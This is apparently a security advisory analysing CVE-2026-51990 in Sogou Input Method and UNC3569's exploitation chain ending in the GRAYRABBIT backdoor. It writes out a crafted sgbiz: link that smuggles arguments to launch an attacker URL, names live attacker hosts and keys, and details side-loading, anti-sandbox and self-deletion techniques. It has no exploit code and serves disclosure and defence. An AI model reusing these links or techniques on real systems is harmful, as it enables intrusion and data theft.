CVE-2026-51990 is a three-stage chained vulnerability in Tencent's Sogou Input Method for Windows, a Chinese-language input method editor with hundreds of millions of installations. The chain begins in biz_helper.exe, the handler for the application's custom sgbiz: URI scheme. While the handler thoroughly validates the module parameter (path traversal checks, MAX_PATH limits, file existence checks), the param parameter that carries command-line arguments to the launched Sogou executable receives no validation beyond URL decoding. An attacker can therefore craft a link such as sgbiz:sg_process?module=sgmyinput.exe&param=-page%3Dskincenter%20-url%3D<attacker-URL> that launches SGMyInput.exe with a -page=skincenter argument, the only code path that instantiates a Chromium Embedded Framework (CEF) webview. That webview's OnWebViewIsReady function accepts the accompanying -url argument and navigates to it with no scheme check, no domain allowlist, and no validation of any kind, giving the attacker full control of the destination. The webview itself runs on CEF 80.1.16 / Chromium 80.0.3987.163 (March 2020) — over six years and 60+ major versions out of date at time of exploitation — with no_sandbox explicitly enabled, disable-web-security hardcoded (disabling same-origin policy), and allow-file-access-from-files enabled, exposing hundreds of unpatched Chromium CVEs to a single crafted link with no further user interaction.

Gen Digital discovered the flaw while investigating an intrusion by the China-nexus threat actor UNC3569 that began inside Sogou Input Method, and reported it to Tencent on April 9, 2026 (90-day coordinated disclosure). Tencent acknowledged the next day and shipped a fix in version 16.3.0.3498 on April 21, 2026: biz_helper.exe now identifies -url/-firsturl switches, parses them with InternetCrackUrlW, rejects any scheme other than HTTPS, and enforces a suffix-matched hostname allowlist (sogou.com, qq.com, woa.com, sogou). The underlying CEF/Chromium 80 engine, its disabled sandbox, and its disabled web-security flags remain unaddressed. MITRE assigned CVE-2026-51990 on July 10, 2026, and Gen Digital publicly disclosed active in-the-wild exploitation on September 13, 2026.

In the observed UNC3569 campaign, the sgbiz: link pointed victims to https://noht1ng.top/fuckujjbangx.html, which exploited CVE-2021-38003 — a V8 type-confusion vulnerability in JSON.stringify that Google patched in Chrome 95 (October 2021) but that Sogou's Chromium 80 never received. The exploit corrupts V8's internal Map structures to gain arbitrary heap read/write, locates a WebAssembly instance's RWX memory, overwrites it with shellcode, and invokes it via the WebAssembly export. The resulting 921-byte x64 position-independent shellcode walks the PEB to resolve kernel32.dll (ROR8 hash matching), resolves LoadLibraryW and URLDownloadToFileA, and downloads three files from a staging server at 8.218.50.207 (Alibaba Cloud, Hong Kong): a legitimate 7z.exe, a trojanized loader DLL (7zp.dll, internal name boy.dll), and an encrypted payload file named p. The shellcode saves the trojanized DLL as 7z.dll next to 7z.exe and runs 7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p, causing 7z.exe to automatically load the co-located malicious 7z.dll (classic DLL side-loading).

The loader first performs an anti-sandbox check: it snapshots running processes with CreateToolhelp32Snapshot/Process32First/Process32Next and, on real machines, zeroes out the resulting count; on sandboxed systems the real (higher) count is retained and silently corrupts a later XOR key derivation, causing the payload to fail to decrypt cleanly under analysis. The decryption key is an XOR of a deterministic 50,000-iteration floating-point computation, the (zeroed) process-count gate value, and a hardcoded constant (0x098838B0). Once decrypted, the payload — a shellcode stub plus a single-byte XOR-encrypted (key 0x33) PE — is mapped into PAGE_EXECUTE_READWRITE memory and its CoreClientInstall export (a reflective loader) is invoked via a Windows thread-pool work item (CreateThreadpoolWork/SubmitThreadpoolWork) rather than a conventional CreateThread call, to blend in with legitimate thread-pool activity. The loader then self-deletes using an NTFS alternate-data-stream technique: it opens itself with DELETE access, renames its default data stream to a random ADS name via SetFileInformationByHandle (FileRenameInfo), then marks it for deletion (FileDispositionInfo) — removing the file without a logged DeleteFileW call.

The final payload is the GRAYRABBIT backdoor (internal module name core.dll), a lightweight but actively maintained C++ implant that Google/Mandiant has tracked as UNC3569's first-stage tool since at least 2021. This x64 variant beacons to mail.uaiubifas.top:443 (the domain string is split across a 16-byte XMM constant plus a literal 'op' at runtime to defeat static string scanning) over raw TCP — not TLS — with all traffic RC4-encrypted using a static 6-byte key (m5b1u3) in 0x1000-byte frames whose S-box is reinitialized per frame. On connection it beacons <ip>+<hostname>+<username>+<exename>:<pid> and then services a compact ten-command protocol (IDs 0–9) covering silent process execution, an interactive reverse shell (cmd.exe with piped I/O), shell-stdin writes, shell termination, plugin-module loading, system-info collection, self-termination, and bidirectional file transfer via a dedicated FileMsg chunking protocol. Additional modules are fetched on demand from the C2 and reflectively loaded into memory (manual PE mapping, relocation processing, import resolution via ntdll's LdrGetDllHandle/LdrGetProcedureAddress) rather than dropped to disk. The initial shellcode downloader's fetch-and-decode behavior mirrors UNC3569's known proprietary downloader RABBITFUR, but here it is embedded directly in exploit shellcode instead of shipped as a standalone binary.

UNC3569 is a China-nexus threat actor that Google Threat Intelligence has tracked since 2021 operating within China's cybercrime and cyber-contractor-for-hire ecosystem, with a documented pattern of exploiting n-day vulnerabilities in widely used enterprise software (Aspera Faspex, Microsoft Exchange, Oracle Web Applications Desktop Integrator, Ivanti Connect Secure) for initial access against government, education, technology, and financial-sector targets, concentrated in East and Southeast Asia. Its toolset blends custom malware (GRAYRABBIT, RABBITFUR) with commercial and shared tooling (Cobalt Strike, PlugX) and, per Trend Micro's 2026 PeckBirdy research, custom LOLBins scripting frameworks. Leaked internal communications from the Chinese contractor i-SOON (surfaced in early 2024) have been cited as evidence of a possible business relationship with UNC3569's hacker-for-hire operations.